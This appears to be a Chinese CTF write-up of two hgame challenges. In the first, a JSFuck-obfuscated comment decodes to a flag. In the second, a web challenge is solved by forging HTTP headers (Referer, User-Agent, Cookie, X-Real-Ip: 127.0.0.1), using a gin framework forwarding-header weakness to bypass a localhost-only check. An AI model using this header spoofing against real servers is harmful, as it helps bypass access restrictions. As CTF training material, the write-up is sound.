]+[+[]]]+([][(![]+[])[+[]]+(![]+[])[!+[]+!+[]]+(![]+[])[+!+[]]+(!![]+[])[+[]]]+[])[!+[]+!+[]+!+[]]+(![]+[])[!+[]+!+[]+!+[]]]()[+!+[]+[+[]]])+[])[+!+[]])+([]+[])[(![]+[])[+[]]+(!![]+[][(![]+[])[+[]]+(![]+[])[!+[]+!+[]]+(![]+[])[+!+[]]+(!![]+[])[+[]]])[+!+[]+[+[]]]+([][[]]+[])[+!+[]]+(!![]+[])[+[]]+([][(![]+[])[+[]]+(![]+[])[!+[]+!+[]]+(![]+[])[+!+[]]+(!![]+[])[+[]]]+[])[!+[]+!+[]+!+[]]+(!![]+[][(![]+[])[+[]]+(![]+[])[!+[]+!+[]]+(![]+[])[+!+[]]+(!![]+[])[+[]]])[+!+[]+[+[]]]+(![]+[])[!+[]+!+[]]+(!![]+[][(![]+[])[+[]]+(![]+[])[!+[]+!+[]]+(![]+[])[+!+[]]+(!![]+[])[+[]]])[+!+[]+[+[]]]+(!![]+[])[+!+[]]]()[+!+[]+[!+[]+!+[]]])()
}

执行一下那行 alert 再说,得到的是“flag 貌似被藏起来了,再找找吧!”。

然后发现下面那一长串可疑的注释,做 Hackergame 的经验告诉我,这是可以解码的,得到 alert("hgame{jsfuck_1s_S0_fUu1n}"),然后 flag 就出来了。。

flag:hgame{jsfuck_1s_S0_fUu1n}

P.S. 菜鸡作者这时候才知道 jsfuck 这玩意,以前只知道 BrainFuck。

Fujiwara Tofu Shop

每一层题目都给了提示,说实在的这和校内的比赛第一题简直一模一样。。

想成为车神,你需要先去一趟秋名山(qiumingshan.net

这个 URL 是无法解析的,我们只需在请求头里加上 Referer: qiumingshan.net 即可。

只有借助AE86才能拿到车神通行证(Hachi-Roku)

借助一个东西?立马想到 User-Agent,在请求头里加上 User-Agent: Hachi-Roku 即可。

86的副驾上应该放一盒树莓(Raspberry)味的曲奇

曲奇?Cookie!但是发现直接 Cookie: Raspberry 不行,查看响应头发现 Set-Cookie: flavor=Strawberry,于是得到正确的格式 Cookie: flavor=Raspberry

汽油都不加,还想去秋名山?请加满至100

同样是在响应头发现 Gasoline 字段,在请求头里加上 Gasoline: 100 即可。

哪怕成了车神,也得让请求从本地发出来才能拿到 flag !

最有趣的地方来了,首先要知道 localhost127.0.0.1 的别名。

然后常规思路是用 X-Forwarded-For,但是当我请求带上 X-Forwarded-For: 127.0.0.1,服务器返回“大黑阔也想当车神?”。啊,这熟悉的口音,令人难绷。然后一时没有办法了

这时候想起信息搜集,仔细观察响应头,发现 Server: gin-gonic/gin v1.7.7,仿佛找到了新大陆。

然后发现了这个 https://security.snyk.io/vuln/SNYK-GOLANG-GITHUBCOMGINGONICGIN-1041736

欸,这可不就是和 X-Forwarded-For 有关吗?

再去 Github 上找是咋修的,然后发现了 X-Real-Ip 这个字段。请求头里加上 X-Real-Ip: 127.0.0.1 就拿到 flag 了。

拿到 flag:hgame{I_b0ught_4_S3xy_sw1mSu1t}

坐等晚上官方 wp。

To be continued…